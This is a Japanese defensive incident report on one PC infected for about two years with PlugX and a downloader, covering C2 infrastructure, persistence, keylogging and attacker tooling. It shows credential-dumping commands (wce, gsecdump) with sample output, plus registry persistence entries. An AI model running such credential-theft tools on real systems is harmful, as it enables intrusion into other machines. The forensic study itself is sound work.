ジェイ・クラート サイバーレスキュー隊(J-CRAT)分析レポート 2016 長期感染の実態 ~1台の感染 PC に残された攻撃痕跡の分析~ 目次 1. 2. はじめに .......................................................................................................................... 1 1.1. 本レポートについて................................................................................................. 1 1.2. 対象読者と目的について ......................................................................................... 2 不審通信から攻撃インフラを分析する ........................................................................... 4 2.1. 不審通信とマルウェア ............................................................................................. 4 2.2. 攻撃想定時期............................................................................................................ 5 2.3. 長期感染 ................................................................................................................... 6 2.4. 攻撃者が準備したドメインと IP アドレス.............................................................. 7 2.4.1. ドメインの利用履歴 ......................................................................................... 7 2.4.2. IP アドレス利用履歴 ........................................................................................ 8 2.4.3. マルウェアとの関連 ......................................................................................... 9 2.5. 3. 2.5.1. 本検体の構成 .................................................................................................. 10 2.5.1. 本検体の動作 .................................................................................................. 12 攻撃痕跡から攻撃者の挙動を推測する ......................................................................... 14 3.1. 攻撃者が利用したフォルダとファイル ................................................................. 15 3.1.1. フォルダ構成 .................................................................................................. 15 3.1.2. 配置されたファイル ....................................................................................... 16 3.1.3. スクリプト・バッチファイルと関連ファイル ............................................... 21 3.2. 攻撃者の行動を示唆する痕跡 ................................................................................ 26 3.2.1. Windows OS が記録したもの ........................................................................ 26 3.2.2. MasterFileTable に記録されていたもの ....................................................... 28 3.2.3. アプリケーションが記録したもの ................................................................. 30 3.2.4. その他実行を示唆するもの ............................................................................ 31 3.3. 4. マルウェアの挙動 .................................................................................................. 10 攻撃のタイムライン............................................................................................... 32 3.3.1. 攻撃の段階 ...................................................................................................... 32 3.3.2. 攻撃の想定タイムライン ................................................................................ 32 3.3.3. カレンダー ...................................................................................................... 34 攻撃の検知と調査の手法を検討する ............................................................................ 36 4.1. PC での検知に関する課題と対策 .......................................................................... 36 4.1.1. ウイルス対策ソフトの課題と対策 ................................................................. 36 4.1.2. イベントログの課題と対策 ............................................................................ 39 4.2. ログに関する考慮事項 ........................................................................................... 45 4.2.1. PC での外部通信ログの取得 .......................................................................... 45 4.2.2. 4.3. 感染嫌疑の調査例 .................................................................................................. 52 4.3.1. 調査すべきサーバログ.................................................................................... 52 4.3.2. 調査の目的と観点について ............................................................................ 54 4.3.3. 感染嫌疑 PC の変更調査 ................................................................................ 55 4.3.4. 公開情報の調査............................................................................................... 59 4.4. 調査方法補足.......................................................................................................... 61 4.4.1. 5. ログに関する要件 ........................................................................................... 49 ハードディスクの複製.................................................................................... 61 おわりに ........................................................................................................................ 63 付録 攻撃痕跡確認対応度チェックシート 1. はじめに 1.1. 本レポートについて 標的型攻撃はどのような痕跡を残すだろうか。攻撃者は様々な工夫を凝らして、標的を 感染させる手順を考え、マルウェアを作成し、攻撃インフラを整えて攻撃を実行する。標 的型攻撃で使われるマルウェアは、従来型の対策では検出しにくいため、気付かない内 に、組織システムに潜入されているケースも多いと推測される。 今回のレポートは、2016 年度のレスキュー活動から、ある標的型攻撃を受けた組織から の情報提供がもととなっている。1 台のマルウェア感染 PC の中に見つけることのできた 攻撃痕跡に対して、公開情報にある情報も参考にしながら、その攻撃がどのように進めら れたかを分析した。その上で、このような攻撃を受けてしまった際に、いかにして早期に 検知し調査していくかを検討している。 本レポートは以下の章で構成している。 2 章: 不審通信から攻撃インフラを分析する 3 章: 攻撃痕跡から攻撃者の挙動を推測する 4 章: 攻撃の検知と調査の方法を検討する 2 章では、不審通信先の FQDN と IP アドレスに関する情報収集と不審通信ファイルの 動作を分析している。3 章では、攻撃痕跡を分析し攻撃者の挙動を推測しているが、それ らの攻撃痕跡に関連したファイルをできる限り実際の内容で記載しているので、攻撃を現 実のものとして捉えられると思う。4 章では、一般的な PC 利用環境においての課題と対 策を解説し、初動対応における調査手順や考え方の一例を紹介している。自組織がもし被 害にあったら、このような調査に対応できる準備はできているだろうか、という観点で読 んでいただきたい。付録として、感染嫌疑時の調査準備ができているかを確認するチェッ クシートをつけているので、自己点検の目的で活用してほしい。 1 1.2. 対象読者と目的について 本レポートでは、サイバーレスキュー隊 J-CRAT の活動の一部として、過去に標的型サ イバー攻撃の被害を受けた組織の感染 PC に残された攻撃痕跡を分析した結果を、実デー タもふくめて詳細に報告している。その意図は、以下である。 攻撃痕跡を詳細に提示することで、その脅威を現実のものとして理解していただく。 攻撃痕跡や攻撃者の挙動を理解することで、それらを早期発見する対策に活用いただ く。 本レポートは、細部に渡った技術的な解説も含んでいるので、全ての読者に全ページを お読みいただく必要はなく、組織システムの情報セキュリティに関わっている方の役割や 職務によって対象読者をわけ、目的とお読みいただきたい対象箇所を以下のように想定し ている。 対象読者 目的 対象箇所 最高情報セキュリティ責 組織を狙っている攻撃者からの脅威の 1 章、2.1-3 節、3 章緒言、 任者(CISO) 実態認識とそれに対する組織の体制や 5章 人材の育成の必要性を把握いただく システム運用管理者 システム構築(事業)者 組織システムの安全な運用にあたっ 【管理者】 て、対策をはじめ、不審な挙動を確認 1 章、2 章、3 章 した際の組織としての対応方法を検討 【担当者】 いただく 全頁、付録 組織システムの構築に関わる際に、シ 全頁、付録 ステムへの攻撃を見据え、よりセキュ 特に 4 章と付録を中心に アなシステムの構築とインシデント発 生時に適切な対応をとるための証跡 (ログ)の取得など、攻撃に対抗でき るシステムの構築に向けた技術的知見 を高めていただく 2 本レポートが、組織にとって益々大きな脅威となってきており、かつ今後も猛威が予見 されるサイバー空間における標的型攻撃に対して、事前対策、早期検知、事後対応の三位 一体を検討する上で、有用な情報となることを期待している。 本レポートでは、上記に記した主旨から多くのファイルの内容を記載しているが、組織 名・PC 名・アカウント名等の情報提供組織に関連する文字列や、何らかの意味を持つ数 値は、意味のない文字列や数値に変換し記載した。 3 2. 不審通信から攻撃インフラを分析する 標的型攻撃では、攻撃者がコントロールする Command and Control サーバ(以降 C2 サーバ)がその攻撃インフラとして、大きな役割を担う。マルウェア1に感染させた PC を 遠隔操作する機能や、その制御を維持する目的で、用意した C2 サーバへの通信を一定間 隔で継続するというケースが多い。 今回情報提供頂いた 1 台の感染 PC が発信していた不審通信から、通信内容、通信先情 報を得ることができた。本章では、これらの情報から攻撃者の攻撃インフラを分析する。 2.1. 不審通信とマルウェア 提供頂いた情報から、継続的に外部との通信を行っていた不審通信ファイルは 2 つ発見 された。外部通信の記録を照らし合わせてみると、下記の FQDN および IP アドレスに接 続していたことが確認できた。 表 2.1-1 不審通信ファイルと通信先 ファイル名 通信先 C:¥ProgramData¥F3¥googleUpdate.exe bak.****mails.com C:¥ProgramData¥taskeng.exe 27.126.190.152 これらの不審通信ファイルを提供いただき、当チームの仮想 PC 環境で動作させたとこ ろ、 「googleUpdate.exe」が発信した通信内容が図 2.1-1 の通りであった。 POST /update?id=003343b0 HTTP/1.1 Accept: */* X-Session: 0 X-Status: 0 赤枠:PlugX の通信特徴と同じ X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Host: bak.****mails.com:443 Content-Length: 0 図 2.1-1 不審通信の HTTP ヘッダ Connection: Keep-Alive 1 本レポートではマルウェアをコンピュータウイルス、攻撃ツール等の総称として使用し Cache-Control: no-cache ている。 4 この通信に見られる特徴(クアドラプルヘッダー)から、この不審通信ファイルは PlugX である可能性が高いと考えられた。PlugX は標的型攻撃で利用される遠隔操作マル ウェア(Remote Administration Tool、通称 RAT)の一種である。この不審通信を発生さ せた状態で、メモリイメージを取得し分析したところ、PlugX 特有の設定ファイルが発見 できたため、この通信を発生させているものは PlugX であると判断した。 もうひとつの「taskeng.exe」については、当該ファイル情報をもとに公開情報を確認す ると、トロイの木馬型ダウンローダーと思われる情報が発見できたため、このファイルが 接続する不審通信先についても、マルウェアに関連するものと考えられた。 これらのマルウェアへの感染状況、特に PlugX の感染から見て、感染 PC 利用者もしく は情報提供組織は、標的型攻撃にあっていた可能性があると考え、より詳しい調査を進め た。なお、この通信先であるドメインは 2016 年 10 月現在、シンクホール2化されてお り、このドメインを利用した攻撃そのものは非活性状態であるといえる。 2.2. 攻撃想定時期 感染 PC に残された各種情報を分析し整理すると、感染時期とその後の活動時期はおお よそ、以下の図 2.2-1 に示すとおりと考えられた。 図 2.2-1 感染時期と活動時期 初期感染から組織内ネットワークへの拡散である「横移動3」準備までの期間はおおよそ 1 ヶ月。この期間内に攻撃者の活動を示唆する痕跡が残されていた。ここではこの概要程 度にとどめ、詳細は 3 章でその根拠となる攻撃痕跡をあげて解説する。 2攻撃者が手放したドメインをリサーチャーが取得し、そのドメインへの通信観測を行うこ と。被害組織の発見や攻撃動作の調査に利用される。ここでのリサーチャーは、セキュリ ティインシデントに関する調査を行っている組織や個人を指す。 3標的型攻撃における段階のひとつで、組織内部ネットワークを標的に向けて移動するこ と。 5 2.3. 長期感染 今回のレポートのもととなった実際のレスキュー活動は、2016 年度に実施したものであ る。先にあげた不審通信ファイルは、感染 PC が起動する度に動作するように設定されて いたため、この通信は感染時期である 2014 年 5 月より発生し、2016 年まで継続していた と考えられる。感染後から攻撃者がドメインや C2 サーバを手放すまでは、いわば「攻撃 者のコントロール下」であったといえる。攻撃者がドメインを手放した後も、感染 PC 内 でのマルウェアの活動は継続されている状態であり、通信を継続した状態となったままと なる。このような長期感染は、当チームのレスキュー活動において、しばしば見られるケ ースである。 図 2.3-1 長期感染イメージ 図 2.3-1 では、マルウェア感染後 C2 サーバとの通信が継続したままの状態が続く様子 をあらわしている。ウイルス対策ソフトで検知できないマルウェアの場合、このような長 期間感染にいたる事も不思議ではない。今回の情報提供組織も同様であったと推測され る。 6 2.4. 攻撃者が準備したドメインと IP アドレス これら(表 2.1-1)のマルウェアが通信していた先は C2 サーバと考えられるが、その サーバ本体だけでなく、ドメインや FQDN、IP アドレスも攻撃者が準備した攻撃インフ ラのひとつといえる。ドメイン情報や IP アドレスの情報は、もともと公開されている情 報ではあるが、廃棄や変更等、運用によって可変する情報であるため、収集した情報は、 いつ収集されたかもあわせて確認することが重要である。 今回の不審通信は、表 2.1-1 のように、FQDN での通信と IP アドレスでの通信の 2 種 類あったため、今回の攻撃想定時期(2014 年 5 月~2014 年 6 月)に、それぞれの利用履 歴を確認し、関連性があるか等を分析した。 2.4.1. ドメインの利用履歴 ドメインの利用履歴は公開情報によって確認することが出来る。当該ドメインの登録情 報を更新した履歴を確認すると、表 2.4-1 の情報が得られた。 表 2.4-1 ドメイン情報の更新履歴 日付 更新内容 2013-08-01 Create Domain 2014-08-02 Changed NS 2014-08-07 Changed NS 2014-09-17 Dropped Domain 2013 年 8 月 1 日にドメインを新規作成し、2 度の Name Server の情報変更後、2014 年 9 月 17 日にドメインが廃棄されている。この期間に当該ドメインが利用されていた履歴を 公開情報から抽出し、表 2.4-2 に FQDN と IP アドレスおよび国を列挙した。このうち、 に図 2.2-1 の攻撃推定時期に合致するものについては、赤文字で記載している。 表 2.4-2 当該ドメインの利用履歴 FQDN IP アドレス bak.****mails.com 182.16.18.116 (HK) 27.126.190.152 (HK) 202.59.155.111 (HK) 112.125.17.103 (CN) sea.****mails.com 27.126.190.152 (HK) 7 202.59.155.111 (HK) services.****mails.com 123.254.104.50 (HK) 199.101.28.20 (US) 27.126.190.152 (HK) 202.59.155.111 (HK) 112.125.17.103 (CN) mails.****mails.com 122.10.83.160(CN) 27.126.190.152 (HK) google.****mails.com 103.246.246.196 (HK) 112.125.17.103 (CN) www.****mails.com 27.126.190.152(HK) これらの情報から、当該ドメインでは、複数の FQDN、複数の IP アドレスが当時稼動 していたということがわかる。 2.4.2. IP アドレス利用履歴 表 2.4-2 内には、もうひとつの不審通信先である「27.126.190.152」の IP アドレスを 利用していた記録もある。この IP アドレスを利用していた FQDN を表 2.4-3 に抜粋し た。また、攻撃想定時期に確認されたものは赤文字で記載している。 表 2.4-3 IP アドレスが合致する FQDN FQDN bak.****mails.com sea.****mails.com mails.****mails.com services.****mails.com www.****mails.com このように、当該ドメインには複数の FQDN と IP アドレスが存在するが、攻撃想定時 期に確認された FQDN である「bak.****mails.com」 、「sea.****mails.com」 、 「services.****mails.com」については、 「27.126.190.152」に紐付けされていたことが確 認されているため、これら(表 2.1-1)2つのマルウェアを使った攻撃は、同一の攻撃 者、もしくは関係のある攻撃者であると推測される。 8 2.4.3. マルウェアとの関連 ドメインや FQDN、IP アドレスが、C2 サーバやマルウェアのダウンロードサイトとし て利用されていた場合、関連するマルウェアの情報がそれらに紐付けて公開情報に記録さ れているケースがある。今回のドメインと IP アドレスには下記のようなマルウェアが関 連情報として記憶されていた。ファイル名、検出名(ウイルス対策ベンダー・検知名・確 認日)を抜粋し記載する。 表 2.4-4 ドメインに紐付いたマルウェア ファイル名 ネヒハツヌ驤・exe (簡体字中国語環境では人事情報.exe) 検出名 Fortinet W32/PLUGX.W!tr 20151211 (抜粋) TrendMicro BKDR_PLUGX.ANJ 20151211 Ikarus Backdoor.Win32.Gulpix 20151211 ドメインに紐付けられたマルウェアは、検出名から PlugX の一種であると考えられる。 また、あるセキュリティメーカーによる PlugX に関するレポートが 2013 年 12 月に出さ れているが、その中で当該ドメインに接続されることが記されている。このドメインは PlugX を使った攻撃に関連していた可能性が高いといえる。 表 2.4-5 IP アドレスに紐付いたマルウェア ファイル名 taskeng.exe 検出名 Microsoft TrojanDownloader:Win32/Thoper.B 20151009 (抜粋) Sophos Troj/Thoper-B 20151009 Ikarus Trojan-Downloader.Win32.Thoper 20151009 IP アドレスに紐付いたこのマルウェアは今回の不審通信ファイル「taskeng.exe」とフ ァイル名が同じであることと、このマルウェアを検知できるウイルス対策ソフトが 50 種 類程ある中で、約 20 のウイルス対策ソフトで同一検知名であったことから、このマルウ ェアも同タイプのダウンローダーであると考えられる。 これらの情報を加味すると、今回の情報提供組織が受けた攻撃は、このドメインと IP アドレスを利用して、 「ダウンローダー」と「PlugX」を組み合わせて感染させるような 「複数の攻撃」が実行されたうちのひとつであることと推測される。 9 2.5. マルウェアの挙動 PlugX は標的型攻撃でよく利用されるマルウェアであるため、多くのリサーチャーが研 究を進めており、複数の種類があることやその挙動については多くの情報が公開されてい る。ここでは、本検体の構成や動作を、当チームのテスト環境で実行した結果を示しなが ら、解説する。 2.5.1. 本検体の構成 ファイル構成 本検体は、表 2.5-1 で示す、実行形式である EXE ファイルと DLL ファイル、DLL を 補助するファイルとログファイルの 4 ファイルで構成される。 表 2.5-1 本検体のファイル構成 ファイル名 備考 C:¥ProgramData¥F3¥googleUpdate.exe 署名付きファイル。 C:¥ProgramData¥F3¥goopdate.dll PlugX 関連ファイル。 C:¥ProgramData¥F3¥goopdate.dll.map PlugX 関連ファイル。 C:¥ProgramData¥F3¥NvSmart.hlp キーロガーによるログファイル。 これらのファイルを同一フォルダに配置し、 「googleUpdate.exe」を実行すると、 「¥ProgramData」フォルダに F3 フォルダを生成し、自身の環境、つまり 「googleUpdate.exe」 、 「goopdate.dll」、 「goopdate.dl.map」を F3 フォルダへコピーし、 新たに「NvSmart.hlp」ファイルを生成する。これらの実行に必要なファイル名は、著名 なソフトウェアを装ったファイル名となっており、特に「googleUpdate.exe」は署名付き のファイルであった。また、 「NvSmart.hlp」は WindowsOS のヘルプファイルの拡張子 がつけられている。これらはファイル名表示や実行時のプロセス表示において、目立たな くする工夫だと思われる。 これらのファイルの属性には特徴が 2 点ある。1 点目は、生成される F3 フォルダは隠 し属性が与えられているため、隠しファイルを表示させる設定でないと見ることが出来な い(図 2.5-1 参照) 。2 点目は、これらのファイルにはキーロガーのログファイルである 「NvSmart.hlp」ファイルもふくめて、図 2.5-2 の通り、同一の最終更新日を与えられて いるが、感染毎に異なる日付に変更されていた。ファイルの隠し属性と変更される最終更 新日付についても、利用者が気付きにくくするための工夫だと思われる。 10 C:¥ProgramData¥F3>attrib SH ※SH:隠し属性のついたシステムファイ C:¥ProgramData¥F3¥googleUpdate.exe ル C:¥ProgramData¥F3¥goopdate.dll SH C:¥ProgramData¥F3¥goopdate.dll.map SH C:¥ProgramData¥F3¥NvSmart.hlp SH 図 2.5-1 隠し属性が与えられたファイル C:¥ProgramData¥F3 のディレクトリ 2016/10/04 16:53 <DIR> . 2016/10/04 16:53 <DIR> .. 2010/11/21 06:29 2010/11/21 06:29 2010/11/21 06:29 2010/11/21 06:29 ※ 感染毎に日付が変更される 116,648 googleUpdate.exe 40,960 goopdate.dll 108,628 goopdate.dll.map 7,766 NvSmart.hlp 図 2.5-2 変更された最終更新日付 永続化 本検体は PC 起動時に F3 というサービスとして自動的に実行されるよう永続化4され る。図 2.5-3 に当該レジストリを示す。 HKEY_LOCAL_MACHINE¥SYSTEM¥currentControlSet¥services¥F3 Type REG_DWORD 0x110 Start REG_DWORD 0x2 ErrorControl ImagePath DisplayName ObjectName Description REG_DWORD REG_EXPAND_SZ REG_SZ REG_SZ REG_SZ 0x0 "C:¥ProgramData¥F3¥googleUpdate.exe" 200 0 F3 LocalSystem F3 図 2.5-3 永続化に利用されたレジストリキー 4 実行ファイルを利用者が起動しなくとも自動的実行するよう設定すること。 11 ImagePath として指定されているこのサービスの実行ファイルが 「C:¥ProgramData¥F3¥googleUpdate.exe」となっている。よって、この PC では、OS が起動されると自動実行されるサービス「F3」として、 「googleUpdate.exe」が起動す る。その結果、不審通信が発生する仕組みとなっている。 2.5.1. 本検体の動作 本検体を動作させて、そのプロセスの動作を確認した。図 2.5-4 に示す。 「googleUpdate.exe」は実行されると、 「svchost.exe」が起動され、さらに 「msiexec.exe」が派生して起動されている。 図 2.5-4 プロセス派生の様子 これらのプロセスに PlugX のコードがインジェクション5されて、不審通信等の機能が 実行される。 「googleUpdate.exe」はすぐ停止されるため、継続実行するのは 「svchost..exe」と「msiexec.exe」となる。これら 2 つはどちらも正規のファイルであ るため、プロセス表示をさせても目立つことはない。PlugX は複数の機能があるが、自 動的に実行される動作としては、以下の 2 点がある。 C2 サーバへの通信 キーロガー C2 サーバへの通信は、図 2.1-1 の通信が継続的に発生する。キーロガーは、利用者の キーボード入力をファイルに保存する。キーログファイル「NvSmart.hlp」はバイナリフ ァイルであるが、ASCII 表示で表示すると、図 2.5-5 のように日付、起動したプログラ ム、キーボード入力が記録されていることがわかる。 5 メモリ上に展開されたプログラムに別のプログラムコードをロードすること。マルウェ アが行う動作でよく見られる。 12 図 2.5-5 キーログファイルに記録された内容 遠隔操作ウイルスと呼ばれるタイプのマルウェアには、このキーロガー機能が付与さ れていることが多い。実際にキーログファイルに記録されている内容を見ると、アプリ ケーションとパスワードの組み合わせや、メールと文章を入力したキー、本文そのもの の内容が盗み出されてしまうことが容易に想像される。 本章では、 「不審通信先である FQDN と IP アドレス」と「不審通信ファイルそのも の」の 2 つに分けて分析をおこなった。ドメインと IP アドレスは同一の攻撃者が準備し たものと考えられ、この組織以外も同様の攻撃をしていた可能性があると推測した。 「不 審通信ファイル」である PlugX 検体については、実際に動作させた結果を解説した。 ドメインと IP アドレスについては、公開情報を確認することで多くの情報を得られ る。情報収集するためのサイトやサービスは、いくつか調べておくことをお奨めする。 PlugX の動作結果から、キーロガーがどのような情報を収集しているかを理解できたかと 思う。標的型攻撃で使われるマルウェアの脅威を感じ取っていただきたい。 13 3. 攻撃痕跡から攻撃者の挙動を推測する 標的型攻撃では、攻撃者は、ウイルスの作成(①) 、攻撃に向けたメール作成(②、他 組織に潜入し、そこを踏み台としてなりすますケースもある)、標的組織へのメール送付 (③) 、被害組織への初段のマルウェア感染(④)を成功させた後、その感染 PC からの情 報収集(⑤)を経て、内部ネットワーク内で横移動(⑥)をおこない、他の PC やサーバ を侵害しながら目的の情報に到達(⑦)し、その情報を外部サーバへ送付する事で窃取 (⑧)する(図 2.5-1 参照) 。 図 2.5-1 標的型攻撃の進み方一例 今回調査をおこなった感染 PC には、この横移動を試行した痕跡が残されていた。この 横移動の攻撃活動を早期に検知することができれば、内部への侵攻や情報窃取の被害を未 然に回避することが可能となる。 本章では、これらの痕跡を以下の項に分けて分析し、その結果から挙動を推測する。 攻撃者が利用したフォルダとファイル 攻撃者の行動を示唆する痕跡 フォルダ、ファイルの内容、スクリプトやバッチファイルの内容 OS のイベントログ、アプリケーションログ、その他実行に紐付くログ 攻撃のタイムライン タイムライン、カレンダー 14 3.1. 攻撃者が利用したフォルダとファイル 3.1.1. フォルダ構成 攻撃者が利用したと思われるフォルダは「¥ProgramData」 、「¥ProgramData¥F3」 、 「¥ProgramData¥SxS」 、 「¥ProgramData¥AYCai」 、 「¥Users¥Public¥Videos」 、 「¥Users¥<ユーザー名>¥AppData¥Local¥Temp」、「¥Windows」の 7 つのフォルダであ った。表 3.1-1 にフォルダ名と配置されたファイルの概要を記載する。 表 3.1-1 フォルダ フォルダ名 内容 ¥ProgramData taskeng.exe が配置されていた。 ¥ProgramData¥F3 新規作成フォルダ。PlugX の動作環境が配置されていた。 ¥ProgramData¥SxS 新規作成フォルダ。PlugX のクラッシュログが配置されていた。 ¥ProgramData¥AYCai 新規作成フォルダ。不審ファイルが配置されていた。 ¥Users¥Public¥Videos 攻撃ツール、スクリプト、実行ログなどのファイルが配置されていた。 ¥Users¥<ユーザー名> ユーザー毎のテンポラリフォルダ。初期感染と思われるファイルが配置 ¥AppData¥Local¥Temp されていた。 ¥Windows リモート実行プログラムが配置されていた。 配置されたファイルの内容から、フォルダ毎に特定の目的があるように思われる。 「¥ProgramData」および「¥ProgramData¥F3」 「¥ProgramData¥SxS」 「¥ProgramData¥AYCai」は、フォルダ単位で特定のプログラムと、その実行環境を構 成するファイルが配置されていた。図 3.1-1 に示す永続化で利用されたレジストリにこれ らのフォルダに配置されたファイルが、3 つ指定されている。 HKEY_CURRENT_USER¥Software¥Microsoft¥Windows¥CurrentVersion¥Run taskeng REG_SZ "C:¥ProgramData¥taskeng.exe" F3 REG_SZ "C:¥ProgramData¥F3¥googleUpdate.exe" 200 0 AYCais REG_SZ C:¥ProgramData¥AYCai¥AYCRunSC.exe 図 3.1-1 レジストリに指定されたファイル これらが示す通り、 「¥ProgramData」とそのサブフォルダは、永続化のための仕組み を攻撃者が配置したものといえる。対して「¥Users¥Public¥Videos」は、攻撃ツールと それらを利用するためのスクリプトやバッチファイル、さらには実行結果を記録したファ 15 イルが複数配置されていた。いわば攻撃者の「作業場所」であったような印象を受ける。 「¥Users¥<ユーザー名>¥AppData¥Local¥Temp」は、ログオンユーザー毎に生成され るフォルダで、OS が一時利用することを前提にしているものなので、様々なアプリケー ションが利用するが、その中で今回の初期感染で利用されたと思われるファイルが発見で きた。 「¥Windows」フォルダには、リモート実行プログラムが配置されていた。 次項では、これらのフォルダに配置されたファイルについて解説する。 3.1.2. 配置されたファイル ファイルは様々な種類が配置されていたので、便宜上、表 3.1-2 のように分類する。 表 3.1-2 ファイル分類 プログラム 実行形式ファイル。 スクリプト スクリプト。実行可能。 バッチファイル バッチファイル。実行可能。 データ 実行形式でないファイル。 テキスト 実行形式でないファイルのうち、テキスト形式で記述されたもの。 注目すべきなのは、スクリプトとバッチファイルが配置されていることである。一般的 にスクリプトとバッチファイルを使う目的は、「一括処理」「正確性」といった手作業での 作業効率や精度を上げるために利用される。攻撃者は感染組織の内部環境に合わせて、こ れらのスクリプトやバッチファイルを準備したものと推測される。 ¥ProgramData フォルダのファイル 「¥ProgramData」は、今回のレポートの発端のひとつである不審通信ファイル、 「taskeng.exe」が配置されていたフォルダである。 表 3.1-3 ProgramData フォルダ ファイル名 分類 概要 ¥ProgramData¥taskeng.exe プログラム 不審通信ファイル。永続化されている。 ¥ProgramData¥win3dx.DLL プログラム 不審 DLL ファイル。実行履歴なし。 このフォルダはサブフォルダのみ配置され、ファイルは配置されないことが一般的だ が、DLL ファイル「win3x.DLL」が配置されていた(表 3.1-3)。このプログラムの保持 16 しているリソース情報6を図 3.1-2 に示すが、アイコンに関する言語環境が 「LANG_CHINESE_SUBLANG_CHINESE_SIMPLEFIED」とあるように、これらのプ ログラムは中国語環境で生成された可能性がある。これは「taskeng.exe」も同様であった ため、実行履歴はないものの、攻撃者が「taskeng.exe」と同じく、何らかの意図で配置し た可能性がある。 Resource entries ================================================================================ Name RVA Size Lang Sublang Type -------------------------------------------------------------------------------RT_ICON 0x120d0 0x128 LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED GLS_BINARY_LSB_FIRST RT_ICON 0x121f8 0x2e8 LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED data RT_GROUP_ICON 0x124e0 0x22 LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED MS Windows icon resource - 2 icons, 16x16, 16-colors 図 3.1-2 リソース情報 ¥ProgramData¥F3 フォルダのファイル このフォルダには前章で確認した、不審通信ファイルのもうひとつのファイル 「googleUpdate.exe」とその PlugX 動作環境ファイルが配置されていた(表 3.1-4) 。 表 3.1-4 \ProgramData/F3 フォルダ ファイル名 分類 概要 ¥ProgramData¥F3¥googleUpdate.exe プログラム 不審通信発生、永続化されている。 ¥ProgramData¥F3¥goopdate.dll プログラム PlugX として動作。 ¥ProgramData¥F3¥goopdate.dll.map データ PlugX としての動作に関連。 ¥ProgramData¥F3¥NvSmart.hlp データ PlugX によるキーログファイル。 2 章では、図 2.5-5 のキーロガーの動作が確認でき、ログファイルに記録されていた が、感染 PC に残されていた同ファイルの「NvSmart.hlp」ファイルは、異なるフォーマ ットでの記録となっており、極めて小さいファイルサイズとなっていた。後述するウイル ス対策ソフトによる検知の影響かも知れない。 6 実行ファイルに埋め込まれているアイコン等のデータのこと。 17 ¥ProgramData¥SxS フォルダのファイル PlugX は動作時に発生したクラッシュログを出力するバージョンがある。公開情報か ら、フォルダ名とファイル名が表 3.1-5 と同件であるため、このファイルもクラッシュロ グであると推測される。 表 3.1-5 \ProgramData\SxS フォルダ ファイル名 分類 ¥ProgramData¥SxS¥bug.log ファイル分類と概要 PlugX のクラッシュログ。日付、メモリと思わ テキスト れる情報が記録されている。 ¥ProgramData¥AYCai フォルダのファイル このフォルダも、永続化されているレジストリ(図 3.1-1)で指定されているが、ファ イル「AYCRunSC.exe」が存在しなかった。表 3.1-6 に一覧を示す。ファイルの名称や構 成ファイル名から、韓国のセキュリティ対策ソフトである「ALYac」を模している可能性 がある。 表 3.1-6 \ProgramData\AYCai フォルダ ファイル名 分類 概要 ¥ProgramData¥AYCai¥itd データ 用途不明。 ¥ProgramData¥AYCai¥ptl.aym プログラム 単体で実行は不可。 ¥ProgramData¥AYCai¥ptl.ayx データ ptl.aym と関連があると思われる。 ¥ProgramData¥AYCai¥abcdefghijklmnopqr データ 用途不明。 ¥Users¥Public¥Video フォルダのファイル このフォルダには、先にあげたような永続化で利用されていたファイルはなく、攻撃者 が利用したと思われる攻撃ツールやスクリプトが配置されていた。表 3.1-7 にファイル一 覧を示す。 表 3.1-7 Users\Public\Videos フォルダ ファイル名 分類 概要 ¥Users¥Public¥Videos¥wce.EXE プログラム パスワード奪取ツール。 ¥Users¥Public¥Videos¥gsecdump.exe プログラム パスワード奪取ツール。 ¥Users¥Public¥Videos¥TIOR64.exe プログラム 権限奪取ツール。 ¥Users¥Public¥Videos¥Win7Elevate プログラム 権限奪取ツール。 64.exe 18 ¥Users¥Public¥Videos¥Win7Elevate プログラム 権限奪取ツール。 ¥Users¥Public¥Videos¥tior.exe プログラム 権限奪取ツール。 ¥Users¥Public¥Videos¥domain.exe プログラム ¥ProgramData¥taskeng.exe と 同 じ Dll64.dll 動作。taskeng.exe を生成する。 ¥Users¥Public¥Videos¥ss.vbs スクリプト 感染環境に合わせて作成。 ¥Users¥Public¥Videos¥u.bat バッチファイル 感染環境に合わせて作成。 ¥Users¥Public¥Videos¥ss.bat バッチファイル 感染環境に合わせて作成。 ¥Users¥Public¥Videos¥server.vbs スクリプト 感染環境とは関係ないように思われる。 ¥Users¥Public¥Videos¥h.bat バッチファイル 感染環境に合わせて作成。 ¥Users¥Public¥Videos¥s.txt テキスト 攻撃者の行った処理の実行結果。 ¥Users¥Public¥Videos¥pc.txt テキスト 攻撃者が整理した内部端末のリスト。 ¥Users¥Public¥Videos¥type テキスト 攻撃者の行った処理の実行結果。 これらのファイル配置には、以下の特徴がある。 パスワードや権限奪取の攻撃ツールがそれぞれ複数配置されている。 感染 PC の環境に合わせられていないスクリプトがある。 スクリプトやファイルの実行ログ等、攻撃者が直接利用したと思われる記録が残さ れている。 攻撃ツールの複数配置と、環境に合わせられていないスクリプトがあることから、これら は「攻撃ツールセット」のようにまとめて感染 PC 内に配置したと思われる。また、この フォルダに残されていた実行ログ等の記録から見て、攻撃者の作業そのままが残されてい るような印象がある。 「type」ファイルはアカウントのパスワードハッシュと思われる内 容が記録されていた。 図 3.1-3 と図 3.1-4 に表 3.1-7 のパスワード奪取ツールをテスト環境で実行した例を 示す。 gsecdump.exe -l DefaultPassword DPAPI_SYSTEM 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ....... 00 00 00 00 00 00 00 00 00 00 00 00 ............ ????_? 図 3.1-3 gsecdump 実行例 19 >wce -w user01¥pc01:12345678 PC01$¥WORKGROUP:12345678 図 3.1-4 wce 実行例 攻撃者はこのようなツールを使って、パスワードやパスワードハッシュを取得し、他 PC のパスワード類推や侵入を行う。 スクリプト、バッチファイルの内容については、次の項で詳しく解説する。 ¥Users¥<ユーザー名>¥AppData¥Temp フォルダのファイル 「¥Users¥<ユーザー名>¥AppData¥Temp」フォルダには、「taskeng.exe」と同一ハッ シュ値7の「1.exe」ファイルが存在していた(表 3.1-8) 。感染 PC の通常利用ユーザーの テンポラリフォルダであり、目立たないファイル名という点、実行すると「taskeng.exe」 を作成し永続化するという点から、マルウェア感染の契機となったものと推測される。 表 3.1-8 Users\ユーザー名\AppData\Temp フォルダ ファイル名 ファイル分類と概要 ¥Users¥<ユーザー名> プログラム taskeng.exe と同ハッシュ値。 ¥AppData¥Local¥Temp¥1.exe ¥Windows 